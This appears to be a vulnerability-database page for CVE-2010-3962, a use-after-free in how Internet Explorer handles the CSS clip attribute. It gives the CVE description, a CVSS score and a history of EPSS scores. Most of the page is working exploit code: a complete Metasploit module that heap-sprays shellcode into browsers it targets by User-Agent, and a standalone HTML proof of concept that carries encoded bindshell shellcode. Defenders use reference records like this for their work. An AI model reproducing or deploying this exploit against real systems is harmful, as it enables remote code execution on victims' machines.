CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Use-after-free vulnerability in Microsoft Internet Explorer 6, 7, and 8 allows remote attackers to execute arbitrary code via vectors related to Cascading Style Sheets (CSS) token sequences and the clip attribute, aka an "invalid flag reference" issue or "Uninitialized Memory Corruption Vulnerability," as exploited in the wild in November 2010.
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
89.83%
–
–
2023-03-12
–
–
–
96.66%
–
2023-03-19
–
–
–
96.62%
–
2023-05-07
–
–
–
96.51%
–
2023-07-02
–
–
–
96.69%
–
2023-08-20
–
–
–
96.73%
–
2023-08-27
–
–
–
96.73%
–
2023-10-08
–
–
–
96.88%
–
2023-11-26
–
–
–
96.97%
–
2024-02-25
–
–
–
97.01%
–
2024-04-07
–
–
–
96.97%
–
2024-06-02
–
–
–
97.03%
–
2024-06-30
–
–
–
96.96%
–
2024-08-11
–
–
–
97.1%
–
2024-09-29
–
–
–
97.03%
–
2024-11-10
–
–
–
96.95%
–
2024-12-22
–
–
–
97.03%
–
2024-12-29
–
–
–
96.99%
–
2025-02-09
–
–
–
97.14%
–
2025-01-19
–
–
–
96.99%
–
2025-02-16
–
–
–
97.14%
–
2025-03-18
–
–
–
–
90.82%
2025-03-30
–
–
–
–
90.94%
2025-03-30
–
–
–
–
90.94,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption',
'Description' => %q{
Thie module exploits a memory corruption vulnerability within Microsoft's
HTML engine (mshtml). When parsing an HTML page containing a specially
crafted CSS tag, memory corruption occurs that can lead arbitrary code
execution.
It seems like Microsoft code inadvertantly increments a vtable pointer to
point to an unaligned address within the vtable's function pointers. This
leads to the program counter being set to the address determined by the
address "[vtable+0x30+1]". The particular address depends on the exact
version of the mshtml library in use.
Since the address depends on the version of mshtml, some versions may not
be exploitable. Specifically, those ending up with a program counter value
within another module, in kernel space, or just not able to be reached with
various memory spraying techniques.
Also, since the address is not controllable, it is unlikely to be possible
to use ROP to bypass non-executable memory protections.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # discovered in the wild
'@yuange1975', # PoC posted to twitter
'Matteo Memelli', # exploit-db version
'jduck' # Metasploit module
],
'Version' => '$Revision: 11610 $',
'References' =>
[
[ 'CVE', '2010-3962' ],
[ 'OSVDB', '68987' ],
[ 'BID', '44536' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ],
[ 'URL', 'http://www.exploit-db.com/exploits/15421/' ],
[ 'MSB', 'MS10-090' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
#
# Special target, we put it first so its index doesn't change.
#
[ 'Debug',
{
'Ret' => 0x00010101, # tiny spray, sure to crash :)
}
],
#
# In the targets below, 'Ret' means where EIP ends up (not under our control)
#
[ 'Internet Explorer 6',
{
'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ?
#'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000
#'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000
}
],
[ 'Internet Explorer 7',
{
'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000
}
],
#
# Although IE8 is affected, we don't currently have a working target for it.
#
=begin
[ 'Internet Explorer 8 on Windows 7',
{
#'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000
'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000
#'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000
}
]
=end
],
'DisclosureDate' => 'Nov 3 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /MSIE 6\.0/
mytarget = targets[2] # IE6 on NT, 2000, XP and 2003
elsif agent =~ /MSIE 7\.0/
mytarget = targets[3] # IE7 on XP and 2003
=begin
elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/
mytarget = targets[4] # IE8 on Windows 7
=end
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
# Set the return\nops
ret = Rex::Text.to_unescape(make_nops(4))
# Construct the javascript
js = <<-EOS
var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("#{ret}");
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }
}
var shellcode = unescape("#{shellcode}");
sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38));
document.write("<table style=position:absolute;clip:rect(0)>");
EOS
opts = {
'Symbols' => {
'Variables' => %w{ shellcode retSlide payLoadSize memory index
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
heapBlockCnt },
'Methods' => %w{ sprayHeap }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
#js.obfuscate()
# Construct the final page
html = <<-EOS
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
EOS
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
# Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962
# Tested on Windows XP SP3 IE6 IE7 IE8
# Coded by Matteo Memelli ryujin __at__ offsec.com
# http://www.offensive-security.com/0day/ie-0day.txt
# Thx to dookie __at__ offsec.com
# notes : This is a quick and dirty exploit! No DEP/ASLR bypass here feel free to improve it
<!-- Tested on IE6/IE7/IE8 XPSP3 quick and dirty sploit for CVE-2010-3962 zeroday
Note: The EIP value at crash time is not controllable and depends on the exact version of the mshtml library used by IE; this means that the exploit is not universal for the IE versions indicated hereunder.
A huge spray will probably be more successful on different versions of mshtml but will definetly slow down the exploitation.
IE6 on XP SP2: mshtml.dll Version 6.0.2900.5512 EIP: 0x0D7DC9C9
IE6 on XP SP3: mshtml.dll Version 6.00.2900.6036 Patched 06Nov10 EIP: 0x0E7DC9CD
IE7 on XP SP3: mshtml.dll Version 7.00.6000.17080 EIP: 0x303CEEBB
IE8 on XP SP3: mshtml.dll Version 8.00.6001.18939 EIP: 0x1D3CF5BD
IE8 on XP SP3 Patched 06Nov10: mshtml.dll Version 8.00.6001.18975 EIP: 0x4D3CF5BF
Matteo Memelli, ryujin __at__ offsec.com thx to dookie __at__ offsec.com //-->
<html>
<head><title>poc CVE-2010-3962 zeroday</title>
<script>
function alloc(bytes, mystr) {
// Bindshell on port 4444
var shellcode = unescape('%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b'+
'%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b'+
'%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34'+
'%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301'+
'%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a'+
'%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4'+
'%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7%u53db%u0268'+
'%u1100%u895c%u6ae6%u5610%u6857%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff%u53d5%u5753%u7468'+
'%u3bec%uffe1%u57d5%uc789%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389%u5757%u3157%u6af6%u5912'+
'%ue256%u66fd%u44c7%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650%u5656%u5646%u564e%u5356%u6856'+
'%ucc79%u863f%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd'+
'%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u41d5');
while (mystr.length< bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2) + shellcode;
}
</script>
</head>
<body>
<script>
alert('ph33r: click me');
var evil = new Array();
var FAKEOBJ = unescape("%u0d0d%u0d0d");
//FAKEOBJ = alloc(233120, FAKEOBJ); // IE6 mshtml.dll Version 6.0.2900.5512
//FAKEOBJ = alloc(241748, FAKEOBJ); // IE6 mshtml.dll Version 6.00.2900.6036
//FAKEOBJ = alloc(733120, FAKEOBJ); // IE7 mshtml.dll Version 7.00.6000.17080
//FAKEOBJ = alloc(433120, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18939
FAKEOBJ = alloc(1294464, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18975
//FAKEOBJ = alloc(1550371, FAKEOBJ); // oy oy oy huge spray!
for (var k = 0; k < 1000; k++) {
evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length);
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>
</body>
</html>